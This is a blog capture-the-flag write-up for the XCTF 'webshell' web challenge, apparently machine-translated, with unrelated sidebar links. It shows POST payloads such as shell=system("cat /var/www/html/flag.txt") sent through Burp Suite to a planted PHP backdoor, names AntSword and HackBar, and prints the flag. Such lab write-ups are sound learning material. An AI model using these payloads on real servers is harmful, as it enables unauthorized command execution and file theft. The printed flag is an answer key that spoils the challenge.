当前位置:网站首页>xctf attack and defense world web master advanced area webshell
xctf attack and defense world web master advanced area webshell
2022-08-01 22:07:00 【l8947943】
0x01. Enter the environment and view the content
Prompt to use webshell
0x02. Problem Analysis
0x02_1. What is webshell
Webshell is a code execution environment in the form of web files such as asp, php, jsp or cgi, which is mainly used for website management, server management, rights management and other operations.The use method is simple, only need to upload a code file and access it through the website, then many daily operations can be carried out, which greatly facilitates the management of the website and server for users.Because of this, there are also a small number of people who modify the code and use it as a backdoor program to achieve the purpose of controlling the website server.
0x02_2. Start solving
We use burpsuite to intercept and send it to the repeater, as shown in the figure:
We add the shell script at the bottom, pay attention to the need to modify three places:
- Change the transmission method to POST
- The Content-Type of transmission should be added,
Content-Type: application/x-www-form-urlencoded
- Transfer shell script,
shell=system("find / -name 'flag*'");
As shown:
You can see that the content/var/www/html/flag.txt
is returned.
Then we check the specific flag content and use the scriptshell=system("cat /var/www/html/flag.txt");
: as shown in the figure:
Get the final answer:cyberpeace{f3338db17dcd9233ed4c0685cf6f8c56}
0x03. Solution 2
We can look at the source, as shown in the figure:
You can see that this webpage has directly uploaded a Trojan horse, then open the direct link of Ant Sword, as shown in the figure:
You can view it after connecting, as shown in the figure:
0x04. Solution 3
Use the hackbar directly and pass the shell script in the post method, as shown in the figure:
You can directly get the final answer.
边栏推荐
- 小程序毕设作品之微信体育馆预约小程序毕业设计成品(1)开发概要
- 感觉自己好傻
- 365 days challenge LeetCode1000 questions - Day 046 Generate a string with odd number of each character + add two numbers + valid parentheses
- [Niu Ke brush questions-SQL big factory interview questions] NO4. Travel scene (a taxi)
- 小程序中的多表联合查询
- 安全第五次课后练习
- 还在纠结报表工具的选型么?来看看这个
- Advanced Algebra_Proof_The algebraic multiplicity of any eigenvalue of a matrix is greater than or equal to its geometric multiplicity
- 【C语言实现】两种计算平均成绩题型,博主精心整理,值得一读
- 今年的很美味
猜你喜欢
ModuleNotFoundError: No module named ‘yaml‘
kubernetes CoreDNS全解析
联邦学习的框架搭建
Kubernetes第零篇:认识kubernetes
Based on php tourism website management system acquisition (php graduation design)
Getting Started Database Days4
使用Jenkins做持续集成,这个知识点必须要掌握
No more rolls!After joining ByteDance for a week, he ran decisively.
Unity Shader general lighting model code finishing
论文解读(GSAT)《Interpretable and Generalizable Graph Learning via Stochastic Attention Mechanism》
随机推荐
PAM 回文自动机
论文解读(GSAT)《Interpretable and Generalizable Graph Learning via Stochastic Attention Mechanism》
如何防范 DAO 中的治理攻击?
APP专项测试:流量测试
微软校园大使喊你来秋招啦!
自建 Prometheus 采集腾讯云容器服务监控数据最佳实践
365天挑战LeetCode1000题——Day 046 生成每种字符都是奇数个的字符串 + 两数相加 + 有效的括号
【C语言实现】整数排序-四种方法,你都会了吗、
网络水军第一课:手写自动弹幕
46.全排列
ImportError: `save_weights` requires h5py.问题解决
HCIP---Architecture of Enterprise Network
Safe fifth after-school exercise
编曲软件FL studio20.8中文版功能和作用
Raspberry Pi information display small screen, display time, IP address, CPU information, memory information (C language), four-wire i2c communication, 0.96-inch oled screen
工程建筑行业数据中台指标分析
SAP ABAP OData 服务如何支持删除(Delete)操作试读版
9. SAP ABAP OData 服务如何支持删除(Delete)操作
解决 win10 下 ISE14.7的 iMPACT 崩溃问题 - FPGA 笔记
(*゚ヮ゚)*【精品C语言整理】*(゚ヮ゚*)女盆友缠着你让你教她写代码怎么办?安排,三万字博文带你走遍C语言,从此不再害怕编程